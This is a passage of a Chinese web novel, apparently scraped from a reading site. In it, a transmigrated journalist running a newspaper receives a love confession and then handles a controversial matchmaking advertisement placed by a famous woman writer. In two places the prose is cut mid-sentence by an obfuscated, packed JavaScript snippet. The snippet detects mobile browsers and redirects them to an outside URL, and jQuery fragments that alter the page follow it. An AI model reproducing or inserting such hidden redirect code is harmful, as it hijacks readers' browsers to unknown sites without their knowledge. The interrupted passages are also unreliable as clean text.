孟允抒赞同地点头。一个人若是家境优渥，他不用为生计奔波，自然可以专心学习。同时，因为出身优越，他能享受到优质的教育资源，在起跑线上就已经赢过寒门学子太多。 “而且，女子的情况比他们还要艰难。” 许昭仰头看向天边的一轮残月，而后将目光落在孟允抒身上。 “在大胤律法当中，虽无明文禁止女子参加科考，但人尽皆知，女子被排除在仕途之外。即便她们通过考试，也往往只能被授予一个象征性的封号，无法获得实职。因此，世人更加认为女子读书无用。” 孟允抒身为女性，对这些现象当然不满，但她没料到许昭能注意到这一点。 她问了许昭一个略显尖锐的问题。 “世人皆认为男尊女卑，说女子就应安分守己、相夫教子，而非在外抛头露面。公子却不这样认为？” 许昭的回答脱口而出，显然他早就思考过这个问题。 “那是自然，女子并非天生就该做这些事。无论是寒士也好，女子也罢，都应有机会发挥各自的才能。这样一来，国家才有可能兴旺发达，百姓方能安居乐业。” 许昭又回到了他上疏奏议的话题上：“因此，我提出了一些改制的建议，希望教育与科考选官更公平些，让人们不因出身、家世、性别所累。” “公平”从来都是一个棘手的难题，而且要实现这一目标，就一定会有许多人的利益受损。许昭所提出的改革力度很大，必然触及多方势力，女子从政更是对传统观念的巨大冲击。 因此，孟允抒不难理解众位官员对许昭的态度。 “公子的想法很好，可此举定然会遭到来自各方的阻挠与驳斥。” “但我必须这样做。” 许昭轻轻叹了口气，声音中不乏惋惜和悲愤。 “我母亲，江芷兰，陈暄，柳玉成，他们原本都是仁人义士，却因机遇不佳，或命途多舛，或误入歧途。大胤的土地广博，人口众多，在他们当中，又有多少人像那些人一样被埋没？这是对贤才的浪费，也是对他们人生的辜负。” 许昭抬眼看向孟允抒：“正如姑娘一般，你才华横溢，有胆有识，过去却一直被困在闺阁之中。如今你的事业蒸蒸日上，我也乐见其成。” 许昭的这番陈词在孟允抒心中掀起巨大的波澜。她终于明白，仅用“品行端正”一词来形容许昭太过单薄。 他没有阻碍自己办报，不单由于他是个好人，不愿限制她的自由，更是因为他真心实意地赞成她的做法。 孟允抒想起萧睿言所说的那句话。归根结底，她和许昭是一样的人，他们有着相同的理想信念。 她抬头注视着许昭。孟允抒面带微笑，语气却是从未有过的珍重。 “公子与我是知己。” “只可惜这名号来得有些晚。”许昭笑笑，有些遗憾地说，“过去两年我不了解姑娘，也并不知晓你有这般雄心壮志。” 他感慨道：“姚府倒台后，你非但不怨恨我，反而为我仗义执言。从那天起我才明白，原来姑娘有主见，是个明辨是非的人。你不计较身份高低，不贪图享乐，又有学识有志气，心性坚韧，胸怀广博，着实令我敬佩。” 他的语气十分真诚，孟允抒本就醉着酒，这下被许昭一夸，她更是觉得有些晕乎。 她不好意思地推拒道：“公子谬赞了，我哪能担得起‘敬佩’二字。” 许昭看了她一眼，将目光从孟允抒身上移开：“姑娘所言极是。” 孟允抒眼见着绯色的云霞一点点攀上许昭的耳廓，忽然嗅出一丝不对劲的气息。 “我对姑娘的感情与其说是‘敬佩’，倒不如‘仰慕’二字来得更为妥当。” 许昭突如其来的直球打得孟允抒猝不及防，她想像往常一样开个玩笑缓解尴尬，可挖空了心思也没能憋出一句话。 孟允抒发觉自己的脸上发烫，心脏也剧烈跳动起来，连带着她的脚步都有些虚浮，几乎难以支撑身体。 她心慌意乱地想，肯定是她的酒劲开始发作了。 她要是再继续调侃许昭，还指不定他会发表什么惊世骇俗的言论，于是孟允抒故作镇定地说道：“公、公子何出此言？” 孟允抒结结巴巴地说完一句话，全然没有平时的巧舌如簧。这下她更加笃定，她此刻的反应是酒精作祟。 尽管许昭看起来也十分局促，可他依然执拗地看向孟允抒，一字一句地坦白自己的心迹，语气庄重而真挚。 “在庙会上姑娘曾与我对谈，你告诉我何为‘从心所欲’。近日我发现，每次我见到你便心生欢喜，不见你时又甚是思念。因此我想，我应是心悦于你。” 孟允抒慌得六神无主，她匆忙地应了声“嗯”，抬眼看向前方随风舞动的柳梢。 她同许昭聊起报社的近况，生硬地转移话题。 “多亏公子一直以来鼎力相助，现今报社的发展如日中天。照这样下去，赶今年年末，我们投入的本钱就可尽数收回。” “那到时就劳烦你将这些钱归到府中的账目上。”许昭接过她的话说，“过去府中的账本都放在我那里，我近日正想和姑娘商量，将管账的事交给你。” 他又补充道：“姑娘放心，府中的账务并不繁杂，不会耽误你多少时间。” 以前孟允抒和许昭都是各过各的，两人名义上是夫妻，但私底下都不会过问彼此钱财的去处。 在各府当中，账务由女主人管理是一件约定俗成的事。就算孟允抒再想自我欺骗，也无法忽略许昭这句话中所含的情意。 她再次确认自己没听错：“公子让我管账？” “你与我本就是一家人，由你管账理所应当。”许昭垂眸说道，“我只想让你放心。” 完了，她非但没能把话题引向更远的地方，反倒让他把这话说得愈加明了。 此刻孟允抒心乱如麻，不知该如何应对许昭对她的感情。 经过这段时间的相处，她和许昭一同经历了不少事，也逐步摸清了他的品行与性情。如许昭所说，孟允抒每次见到他时也一样心情愉悦。 扪心自问，她似乎的确在不觉间对许昭生出情愫，但她总觉得两人的关系还没到他所说的地步。 今日许昭的表白来得突然，如果她就这样稀里糊涂地接纳许昭的感情，这对他，对她自己来说都太过草率。 她还需要一段时间消化他们之间的感情，确定自己对许昭的心意。 孟允抒心中有了主意，她看向许昭正色道：“公子对我的情意发自肺腑，我深受触动，也感激不尽。” 她低下头，咬了咬唇说道：“只是如今报社发展正处在关键时期，我暂时抽不出 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俗话说“人怕出名猪怕壮”，再加上孟允抒干的这行本来就容易得罪人，接下来的一段时间内，黎民报社肯定是站在风口浪尖上。 “你一定要保全自己。” 孟允抒看向许昭，他的面色中满是担忧。她想起许昭的心结，觉得他的反应可谓自相矛盾。 “我早就想问公子，你害怕失去身边亲友，为何却放任我查找真相？” 许昭沉默片刻，像是回避这种可能性一般，过了一会才开口。 “因为这是你的志向，我不该对你横加阻拦。我若是因为，未免太过自私。” 许昭语气诚恳，墨玉似的眼瞳被月光笼上一层清辉，在夜色中显得闪闪发亮。 “而且在做这些事时，我能察觉到你的欣喜。只要你高兴，我就愿意支持你。” 孟允抒没料到他会这样回答，一时间有些发愣。 与此同时，一阵柔软的暖意漫上心头。 这个理由十分简单，但也足够真挚。上次她听到类似的话语还是在她父母口中。 过去她为了自保以及达成目的，曾多次扯谎欺骗许昭。而这份假意却换来一颗沉甸甸的真心。 孟允抒的视线竟然有些模糊。 她强行压制住心头纷繁复杂的情绪，尽力保持语气的平静。 “多谢公子。” 许昭发觉孟允抒的声音似乎不对劲，见她低着头，就凑近了些问道：“你说什么？” 他望见了孟允抒脸上的泪痕。 许昭没料到孟允抒会做出这样的反应，手足无措地问她：“你为何突然落泪？可是我说错了话？若是如此，我向你赔罪……” 孟允抒正是百感交集之时，却被他的举动逗得破涕为笑。 许昭这人堪称钢铁直男。 她摇摇头说道：“你没有错，只是我近日略感疲惫，哭出来心中会轻松些。” 许昭一听，脸上的慌张转为担忧，向孟允抒提议道：“那待到端午时，我陪姑娘去青阳湖走走，那里每年都会赛龙舟，游客众多。你爱热闹，此处适合你去散心。” 孟允抒欣然应允，抬头看向许昭：“只是除此之外，我还想向公子要一样东西。” “姑娘尽管开口。” 孟允抒却没有继续说话，只是张开双臂将许昭抱了个满怀。 许昭被她的举动打得措手不及，但他很快理解了孟允抒这般举动的含义，于是也抬起双手，轻柔地回应着她的动作。 这是一个相当克制的拥抱，没有掺杂恋人之间的爱，有的只是对知己情谊的欢欣和感激。 不过，孟允抒很快就发现了一丝违和感。 她的目光向下看了一眼，她感觉两人再这么抱下去，这个举动的性质就变了。 所幸许昭也意识到了这一点，他赶在孟允抒之前收回了手，尴尬地偏过头。 为了不让两人之间的空气凝滞，孟允抒轻咳一声，若无其事地转移话题道：“明日我还要去报社，公子也得上朝，我们快些回府吧。” 她不用看许昭就知道，现在他们俩的脸色比人家房前挂的灯笼还要红上几分。 30. 征婚广告 排云请来人在会客室中坐下，又一路小跑着去办公室找孟允抒。 行至办公室阶下时，她见门口那些听墙角的职员依然没挪位置，有几人还饶有兴致地扒着门窗的缝隙往里看，探查里面的最新动向，时不时地窃窃私语一番。 昨晚有名探官在截止时间之前没能交稿，这导致后续的编修等工作都受到影响，连锁反应一直持续到今天上午。即使印工再怎么快马加鞭，也无法在平日的规定时间之前赶制出需要的小报数量，这惹得孟允抒大为不快。 萧谨言作为报社主编，对此难辞其咎。很快他就被孟允抒叫进了办公室，至今已经有一刻钟的时间。 报社员工见状都赶赴八卦一线。毕竟每次萧谨言挨批之后，都是红着眼圈出来的。 萧主编的眼泪是枯燥工作的上等调剂。 “哎，你们几个。”她清了清嗓子，拿出秋盈的名号压人，“秋掌柜都说了，让你们该干什么干什么去，别在这看戏。” 她驱散了看热闹的吃瓜群众，自己则蹑手蹑脚地走上台阶，看向一门之隔的办公室内。 面对探官与编辑的工作失误，孟允抒憋着一肚子的火气，但为了照顾萧谨言脆弱的心灵，她还是收敛了许多。 她紧蹙眉头，滔滔不绝地批评萧谨言：“我说你也真是的，你是催稿的一方，又是报社的主编，那就拿出气势来，别再那么唯唯诺诺，好像求人办事一样。就冲你那一步三鞠躬的架势，有哪个人会怕你？” 萧谨言的眼泪已经在眼眶里打转了，他极力控制着自己，不要让眼泪掉下来。 可他一开口就带上了鼻音。 “社长说得对，我确实没有能力，不能胜任主编。我——” 孟允抒本就心烦，听他说这句话更是崩溃：“我求求你不要再这么说了，你这话听得我耳朵都起茧了。我说了多少次人无完人，你已经做得相当不错，只要愿意听从我的建议不断改进，以后一定会越做越好。” 门外的排云见孟允抒快被萧谨言折磨得发狂了，于是适时地叩了叩门喊道：“孟社长，您现在有空吗？刚才来了两位客官，说是想要在我们的小报上刊登广告，我已让她们在会客室中等着了。” “好，我马上就来。”孟允抒应声答道，她揉揉发胀的太阳穴，庆幸她还有排云这样机灵能干的帮手。 要是再来几个萧谨言这种水平高却不善管理和交际的员工，她迟早有一天要被累死。 “刚才这事就算过去了，我也不是看你不顺眼，你别往心里去。”孟允抒取来块手帕递给萧谨言，缓和语气说道，“你擦擦眼泪，随我去见客。” 自从报社开发了接收广告的新业务，就时常有人到访报社，请他们在小报上刊登各种各样的公告。 综合考虑后，此事被交给孟允抒和萧谨言共同定夺。所有见报的广告都需要他们两人一起拍板后才能刊载。 孟允抒带着萧谨言跨过会客室的门槛，向里面的两名女子行了礼，笑容满面地看向来者：“方才我有其他事务处理，怠慢了两位姑娘，还请二位见谅。我是黎民报社的孟社长。” 两名姑娘起身回礼，孟允抒又向她们介绍萧谨言的身份：“这位是萧主编。” 萧谨言不可置信地看着孟允抒，他还没从方才的情绪中抽离，而孟允抒的脸上却已经寻不到半分怒气。 孟允抒瞪了他一眼，萧谨言赶紧附和着她说客套话，她则趁此机会迅速打量了一下两位来客。 这两人都是妙龄女子，个头稍高的那位衣着光鲜，服饰上的颜色冲突极为明显，但因其造型简单大方，搭配起来非但不显媚俗，反而体现出主人独特的品味。她的眉宇间有几分英气，举止洒脱，无论言谈还是坐行，动作都大开大合，看上去便是个爽利姑娘。 在她身后半步的那位女子就拘谨得多，在前面那名女子说话时，她始终不发一言。这女子面容清丽，行动娴静，但衣着的布料比那位姑娘要次些。 从这些信息中不难推断，这两人应是主仆关系。 孟允抒向两人发问道：“不知二位姑娘该如何称呼？” “我姓郑，叫我郑姑娘即可。”那名英气女子笑笑，又看了眼身边的那姑娘，“她叫初晴，是我的贴身丫鬟。” 被叫到名字的姑娘羞涩一笑，而后又嗔怪似地看了郑姑娘一眼。 孟允抒脑海中迅速闪过秋盈的身影。看上去这主仆两人之间的感情也相当深厚。 “好，两位请坐。”孟允抒绕着桌子走了半圈，在她们对面坐下，“我听店中伙计说，两位姑娘想在黎民日报上刊登广告。不知姑娘具体想要发表什么内容？” “我想为初晴寻觅一位如意郎君。” 郑姑娘的一句话惊得萧谨言瞪大了眼睛，而她身边的初晴则将头埋得更深。绯色迅速攀上了她的脸颊。 萧谨言确认自己没理解错她的话：“郑姑娘的意思是，你要在小报上刊登广告，为这位初晴姑娘觅得良缘？” 郑姑娘笃定地回答：“没错。” 萧谨言仿佛听到了什么大逆不道的话，他倒吸一口冷气说道：“容我冒昧问姑娘一句，你是否已经与他人成婚？” 郑姑娘十分坦荡地说：“我尚未出阁。” “那这不成。”萧谨言果断拒绝道，“为了姑娘的名声着想，我们不能刊登这则消息。姑娘还是请回吧。” “口舌长在旁人身上，我却要因他们的闲言碎语而约束己身，真是岂有此理。”郑姑娘对萧谨言的话嗤之以鼻，她看了眼他身旁的孟允抒，“再说了，孟社长还没发话呢。” 在报纸上刊登征婚广告是一件很正常的事，但郑姑娘作为广告的发布者，她的身份实在微妙。 在胤朝，她作为一名未婚的小姐，这样大张旗鼓地为他人做媒，若是传了出去，她的名声就算毁了，恐怕这辈子都摆脱不了被造谣和羞辱的命运。 孟允抒当然不觉得郑姑娘的行为有什么问题，她自己对此也并不介怀，但其他人并非都像她们这么想。众口铄金，此事需要慎重考虑。 见孟允抒迟迟不开口，初晴抬起头，挽住郑姑娘的胳膊小声说道：“小姐，我们还是走吧。” “不行，我们都坐到这里了，哪能就这么打道回府？”她的口气中带上了些许责备，“你不许再说这样的话。” 这半晌都是郑姑娘在和他们进行交涉，孟允抒不清楚初晴的内心想法，于是她劝郑姑娘先离开一会：“郑姑娘，可以麻烦你先在门外等候片刻吗？” 她看看初晴说道：“毕竟此事的当事人是初晴姑娘，我有些话想问问她。” “当然可以。”郑姑娘毫不犹豫地说，“社长请便，待会你问完话后叫我进来即可。” 孟允抒望了望郑姑娘潇洒离去的背影，待伙计关上大门，接引她走远后，这才看向初晴。 “初晴姑娘，正如我所说，此事关乎你的婚姻，所以我想请你对我如实相告。”孟允抒问道，“在小报上刊登广告寻觅良配，你是否同意此事？” 初晴踌躇了一会，迅速瞥了两人一眼，又赶紧把头垂下。 “我以黎民报社的信誉担保，今日你对我们所说的话不会有旁人知晓，你不必对我们隐瞒。”孟允抒安慰她放心，“若是没有你的授权，我们不能贸然刊登这则广告。” 沉默片刻后，初晴终于断断续续地给出了一个回答。 “我同意此事，但我仍有顾虑。” 她讲起了事情的来龙去脉。 “如今我年方十九，早就已经到了出嫁的年纪。其实在三年前老爷和夫人就说要将我嫁人，但那时我并没有成婚的想法，于是小姐替我在其中调解，让我的婚事一推再推。后来我的年岁长了些，老爷和夫人说今年必须要为我定下一门亲事。” 孟允抒了然地点头。在胤朝，家仆的婚事基本都是由主人牵线搭桥，最终定夺。如果一户人家的丫鬟或小厮一直拖着不成婚，主家就会被外面的人指责他们苛待下人。 “当下我对成婚并没有那么排斥，若能寻得合我心意的郎君，那我自然也是愿意的。” 初晴觉得这是件难以启齿的事，所以她的声音越来越低。 “老爷和夫人说，外面的人都不知根知底，所以想让我嫁给管家的儿子。但是……”初晴没有说下去，只是叹了口气，“他们说，都是因为我成天跟着小姐读书，还在外面乱跑胡闹，这才养出了这么高的心气。” 在许多主家眼里，丫鬟配小厮天经地义。孟允抒看得出，初晴很抗拒这样的安排。 “小姐知道此事后怒不可遏，她和老爷还有夫人大吵了一架。她说我与她亲如姐妹，所以一定要为我寻个好人家。”初晴看看对面的两人，“后来，小姐看日报时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15525126|167268||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得知，黎民报社能够帮人在报上刊载广告，她就有了这般主意。” 孟允抒明白，郑姑娘和初晴都是未出阁的女子，她们的人脉和社交圈都太过狭窄，想要从中挑选佳偶并非易事，不如通过小报广撒网，或许还能找到更多机会。 “说句实话，我觉得小姐的想法不错，可此事于她的名誉有损，所以我一直劝她打消这个念头。”初晴绞着手帕说，“但我知道小姐的脾气，她是个有主见的。小姐认定了的东西，旁人再怎么阻拦都无济于事。” 从方才的见闻和初晴的描述中，孟允抒将这主仆两人的性格都摸了个七七八八。 初晴不排斥在小报上刊登征婚广告，但她担心郑姑娘的声誉会因此受损；郑姑娘则对流言蜚语嗤之以鼻，并不在意旁人的眼光。 既是如此，孟允抒当然也想帮初晴促成一桩合她心意的姻缘，却不知郑姑娘是否做好了充足的准备，能否应对随之而来的舆论冲击。 她先将这些问题放到一边，转而问初晴：“那你和郑姑娘可有想好，你们如何通过这则广告寻觅良配？” 初晴目光躲闪地点点头，孟允抒见她整张脸都已经红透，毫不怀疑她再继续问下去，初晴会直接缩到桌子底下。 于是孟允抒叫伙计重新把郑姑娘请了进来，向她提出了同样的问题。 “孟社长请看。”郑姑娘胸有成竹地笑笑，她从荷包中取出张纸，将其展开递给孟允抒，“我和初晴已经事先拟好广告内容，现在只等孟社长点头。” 孟允抒接过那页纸，将其放在她和萧谨言中间，好让他也能看得清上面的字迹。 这则征婚广告的前半部分和孟允抒见过的那些大同小异，无非就是些对于女方基本情况的概括，以及对男方提出的要求。 而后半段的内容引起了孟允抒的重点关注。 “各位符合条件的公子若有意向联系，请仔细阅读以下问题并作答，将信件寄给郑姑娘。” 在收信地址下方，纸张上赫然写着九个问题，俨然一份形式规整的考卷。这些问题中，有关于对婚姻的看法，有对于家庭关系和相处模式的思考，还有面对冲突的态度和解决办法。 对此郑姑娘解释道：“如我所说，初晴是我唯一的贴身侍女，她的婚事我必须慎之又慎。我们经过讨论后，确定下了这些问题。若我们能够收到来信，从他们的回答中就足以窥见其人的品行与想法，由此便可初步筛选出与初晴相配的男子。” 即使在现代社会中，很多人都只是搭伙过日子，在胤朝就更是如此。许多夫妻在婚前甚至都没见过彼此，跟别说观念一致。 因此，不幸的婚姻比比皆是。 孟允抒感慨道：“两位姑娘真是思虑周全。” 她都有些怀疑这两人也是穿越者了。 孟允抒将目光重新放到纸上，在那些问题后还有几段话。她从标题和格律中能看出这是一首词，但只填了上阕，从中可见作者豪迈飘逸的气势，以及超凡脱俗的词作水平。 “好文采。尤其是第三、第四句的意象对比，简直妙极。” 孟允抒对此赞不绝口，她看向郑姑娘问：“姑娘这是何意？” “这些年初晴跟着我读了不少书，她的夫君可不能胸无点墨。”郑姑娘受到夸奖，毫不掩饰她的得意与骄傲，“这就是最后一题。这首词的上阕是由我本人所作，下阕就留给读者填写。” 胤朝的文人尤其讲究风雅，若是对得好，当然能加不少分。但有这上阕珠玉在前，要想对上一个合适的下阕使之浑然一体，这绝非易事。 孟允抒见萧谨言端详着那半阙词，沉吟许久都未曾开口，像是在反复品读。 “谨言，有什么问题吗？” 萧谨言被孟允抒点了名，这才回过神来：“没有。” 他看向郑姑娘，神情庄重又小心翼翼地问了一句话。 “姑娘，这词是你亲笔所作？” “那是当然。方才我不是说过了吗？” 郑姑娘的语气颇为自得，半是嘲讽半是调侃地说：“难道是萧主编被这首词所展现出的文采震撼，不相信它出自我手？” “不，我只是想向姑娘确认一下。” 萧谨言的语调变得恭敬起来，他望着郑姑娘缓缓说了一句话，声音竟然有些颤抖。 “姑娘，其实你不姓郑吧。” 31. 粉丝见面会 屋内三人都对萧谨言的这句话始料未及，孟允抒连忙问萧谨言：“此话怎讲？” 郑姑娘脸上的笑容僵了一瞬，但很快又坦然地往椅背上一靠，神色如常地问道：“萧主编这话说得蹊跷，我若是不姓郑，还能姓什么？” 萧谨言被她盯得心虚，只能挪开了视线，低头看着面前的那半阙词。 “我不会认错的。” 他像是给自己打气般地嘟哝一句，重新抬起头直视郑姑娘，语气笃定而急切。 “你就是那位知名的闺阁才女，盛催雪。” 这个响亮的名字如一声惊雷在孟允抒耳畔炸响，她震惊地看向“郑姑娘”，正巧捕捉到她脸上闪过的一丝慌乱。 她虚张声势地问萧谨言：“何以见得？” “我熟读盛姑娘的所有作品，对她的文风了如指掌。”萧谨言指着那半阙词，万分激动地说道，“整座京城里，谁都写不出这般洒脱灵动的词句，其中所用意象也是盛姑娘最爱用的那几种。” 孟允抒早就知道萧谨言是盛催雪的资深粉丝，未曾遗漏过她的任何一首作品。他本人在诗词上的造诣也极高，辨认盛催雪的词作根本不在话下。 “郑姑娘”像是掩饰什么一般，尴尬地笑了笑：“实不相瞒，我也十分喜爱盛姑娘的词作，因此有意模仿她的风格。今日看来，我的技艺竟然练得炉火纯青，甚至到了以假乱真的地步。” “不可能，绝对不可能！无论何人模仿盛姑娘作词，至多能摹画出其表形，却写不出她的神气。” 萧谨言越说越激动，整个人都从椅子上站了起来：“盛姑娘，我日夜品读你的作品，是真是假我一眼便知。” 就冲萧谨言对盛催雪作品的钻研深度，孟允抒觉得，如果成立一个盛催雪作品研究学会，那萧谨言绝对是当之无愧的会长。 如果眼前的这位“郑姑娘”真是盛催雪，那萧谨言也算是夙愿得偿。因此孟允抒决定帮他一把。 “郑姑娘。”孟允抒打断她的辩解，“你若是想在小报上刊登广告，就需要提供相关的身份证明。为了保证信息的可靠性，报社会派人对其进行验证。” 孟允抒的言下之意就是，即使“郑姑娘”这会不说实话，之后他们也能查出真相。她的隐瞒毫无意义。 “好吧。” “郑姑娘”放弃挣扎，认栽地说了一句：“我的确是盛催雪。” “以我过往经验来看，我一旦被旁人认出就免不了许多麻烦，因此用了假名。但我没想到萧主编能一眼识破我的身份。”盛催雪忍不住问萧谨言，“你对我的文风竟然能了解到这般程度？” “盛姑娘的文风别具一格，我当然过目难忘。” 此刻偶像就坐在自己面前，萧谨言激动的心情溢于言表，他竭力表达着自己对盛催雪的赞美和崇敬，语无伦次地说道：“我、我拜读了你所有的作品。其中我最喜欢那首……” 眼见着萧谨言就要将他们的话题带到万里以外，孟允抒赶紧制止他继续说下去：“你别这么激动，我们先谈正事，待会单独给你留时间说这些。” “对，对，正事要紧。”孟允抒的一句话提醒了萧谨言，他反应过来自己的失态，万分窘迫地道了歉，重新坐回椅子上。 孟允抒发现，盛催雪的身份被揭穿后，她并没有显现出太多慌乱，反倒是方才萧谨言对她表现出的狂热崇拜让她十分受用。 “盛姑娘，我们已经看完了这份文稿，现在再来谈谈将其登报的相关事宜。” 孟允抒的话刚落音，萧谨言就在旁边说道：“我觉得这没什么可谈的，既然盛姑娘能做出这般决断，那肯定对后果早有准备。” 孟允抒看着他信誓旦旦的模样，仿佛刚才那个极力反对的人不是他一样。 盛催雪喜上眉梢：“既然萧主编这么说了，那现在只需要孟社长给个准话。” 孟允抒白了萧谨言一眼。他向盛催雪倒戈之后，现在压力全都施加给了自己。 她现在真的想把萧谨言从主编的位置上踹下去了。 “通过广告的方式替初晴姑娘觅得良缘，这当然是好事一桩，在座的各位对此都没有异议。而且，京城里人人都称道姑娘的才华横溢，这篇文稿也并无不妥之处。” 孟允抒归纳着众人的意见和眼下的情况，指出目前存在的唯一问题。 “但姑娘声名显赫，既然萧主编能认得出这篇词作出自你手，也一定有其他人能作出此番论断。如今你尚未出阁却为他人做媒，此事一出后，定然会让整座京城的人都议论纷纷。” 盛催雪是知名度极高的公众人物，关于她的舆论发酵的速度只会比普通人更快。 同样地，她受到的攻击也会是常人的数倍。 “我正对此求之不得呢。”盛催雪露出一个明朗的笑容，“既然是为了寻人，那这消息当然是传得越广越好，如此一来我们的挑选机会就能大大增加。” “但是小姐，那你怎么办？” 初晴说出了孟允抒的心声。 “放心，我可是出了名的牙尖嘴利，城中没有一个人是我的对手。” 看上去盛催雪是在回答初晴的问题，但她的目光始终落在孟允抒身上。 孟允抒承认，她这句话的确毋庸置疑。盛催雪久负盛名，尽管孟允抒在过去不常外出，却经常能从旁人的口中得知她的奇闻轶事。 在家宴上，盛催雪千杯不倒，饮至兴头上就会引吭高歌，全然不顾宾客惊异的目光；旁人泛舟湖上，为了观赏美景都会放慢速度，她却像是和别人比赛似的，在一片荷花丛中横冲直撞；她兴趣爱好广泛，无论哪个领域她都来插一脚，写上几篇文章，因其独到的见解，最后这些文章也成了著作，广为流传。 因为盛催雪的个性太过鲜明，她的名气也越来越大。接着，城中渐渐出现了贬低她的声音，几个著名文人喊得尤其大声，从她的品行到文采都被他们踩了个遍。 惹到盛催雪算是他们踢到铁板了。 受到批判后，盛催雪一鼓 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15538185|167268||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 作气地写了一本书，将这些骂过她的人一股脑地塞进去，分章节对他们进行了犀利的点评，说这位苏先生作词不合音律，那位刘公子行文俗不可耐，王大人的作品更是令人笑掉大牙，根本无法让人读下去。 这本书问世后不多时，城中对她的讨伐声就销声匿迹了。 孟允抒明白盛催雪一身傲骨，个性洒脱，但这篇广告一经刊载，引起的轰动和她过去经历的那些根本不在同一量级。孟允抒是新闻行业的工作者，自然比任何一个人都深知人言可畏。 她看向盛催雪，神情严肃地说：“盛姑娘，此事没有你想得那么简单。” “孟社长，你不必为我担忧。”盛催雪第一次收敛笑意正色道，“‘胆大妄为’的人可不止我一个，也不止你一个。” 她冷不丁地来了句这样的话，令孟允抒疑惑地看向她：“姑娘何出此言？” “此前我不曾见过你，却在小报上读过许多由你撰写的报道。那些文章称得上鞭辟入里，读来振聋发聩。孟社长若只是想找个生财之道，何必冒着风险去做这些容易殃及自身的事？” 一幕幕往事飞速从孟允抒的脑海中闪过，最终她在记忆深处找到了一切的开端。起初她就是为了能唤醒公众的理性，将众人的目光凝聚起来，令那些丑恶与不公的事无所遁形，这才选择了从事新闻业。 尽管她因这种职业丢过一次性命，可来到胤朝后，她再次毅然选择了同样的道路。 “所以我想，孟社长应是一位明辨是非、有胆有识的人。也正是因此，我才会将此事拜托给你。”盛催雪说，“若我不曾读到你的报道，我就永远不会发现，世上竟然有人的观念与我如此一致。” 孟允抒如醍醐灌顶。她险些忘了，新闻是引导舆论、传播思想的工具。 发布这则征婚广告后，固然会出现许多反对的声音，可同时也一定会存在支持盛催雪的人。既然她的行为没有错，那孟允抒所要做的事情就和以往没有任何不同，她只需要将正确理智的声音传达给读者。 “我明白了。” 孟允抒郑重其事地收好盛催雪给她的文稿，对她笑了笑：“既是如此，我会对姑娘鼎力相助。” 萧谨言见状也连忙表明态度：“还有我。” “知道你是为了盛姑娘。”孟允抒觉得萧谨言纯粹是来凑热闹的，“现在正事都谈完了，你有什么话就赶紧说吧。” “不，我不单是为了盛姑娘。”他反驳道，“起初我也是考虑到盛姑娘的名声才出言反对，但听了此事的内情和你们的交谈，我的想法有所转变。仔细想来，这些规矩设置得根本毫无道理，那我们就没必要再继续遵循。” 孟允抒不可置信地说：“这话居然是从你这个死脑筋的嘴里说出来的。” “我好歹是个活人。”萧谨言在盛催雪面前被人揭了短，恼羞成怒道，“在报社待了这么些日子，我也长了不少见识，怎么可能一成不变？” 孟允抒发现，新闻学果然具有神奇的力量。 32. 阻碍 按照孟允抒与盛催雪约定好的日期，那则征婚的消息顺利挂在了《黎民日报》的广告专版上。 盛催雪不愧是享誉京城的才女，上午报纸发行后没过多久，就已经有不少人认出她的文风，戳破了“郑姑娘”的身份。一石激起千层浪，刚过午时，城中就已经将此事传得沸沸扬扬。 因为报纸的销量暴涨，前来买报的顾客发疯似地涌进店铺。前店容纳不了这么多人，尽管孟允抒等人奋力维持秩序，还是有不少人被挤到了中庭和后院。 孟允抒声嘶力竭地喊了一早上，见中庭的顾客终于少了些，这才得空去办公室喝口水润润嗓子。 她感慨，这要是放到现代的网络媒体上，就相当于访客太多，把服务器挤瘫痪了。 “不好意思，借过。” “这位客官，麻烦让一下。” 孟允抒听见外面响起一连串道歉的声音，那声音伴随着脚步声由远及近，她率先做好准备，起身看向推开门的排云：“怎么了？” “社长，有人在会客室等您。” 排云没有像往常一样大声报出来者的姓名和目的，而是关紧了大门，快步走到孟允抒身边，和她耳语道：“是盛姑娘的父亲。” 孟允抒给对面的中年男子倒好了茶，笑容满面地说：“盛大人，请。” 盛老爷是个品级不高的小官，已经是五十多岁的年纪，但腰背挺拔，双目炯炯。与盛催雪不同，他气质儒雅，却总是一副不苟言笑的神情，因而看上去有些严肃和古板。 他看看面前冒着热气的茶水，嘴上向孟允抒道了谢，却并未伸手去端茶水，而是开门见山地说：“孟社长，今日我来是想恳请你撤掉小女在报上所登的广告。” 孟允抒装出一副犯难的表情：“报社刊登广告都需要提前排期，若要撤销就会打乱我们的计划，所以还请盛大人向我讲明缘由。” 盛老爷长叹一口气，无奈地摇了摇头。 “我和夫人成婚数年没有子嗣，在三十五岁时才得来催雪这样一个女儿，所以我们一家人都将她视作掌上明珠，什么事都依着她。她幼时见我读书写字，就也吵嚷着要学，我便将她带在身边亲自教习。” “后来她年岁渐长，心性也越来越野，完全没有半点闺阁小姐的端庄。都是我和夫人惯坏了她。”盛老爷懊悔地说，“催雪的声名远扬，甚至有人找到了我们府上。我和她娘担心她的安全，因此对她严加看管，防止她暴露身份。” 孟允抒点点头。正如萧睿言过去所说，盛催雪虽然出名，却鲜少有人能亲眼见到她。 盛老爷看了看窗外人声鼎沸的场面，做出一副头痛欲裂的表情：“可没想到，催雪竟然为了一个丫鬟捅出这么大的篓子来。” 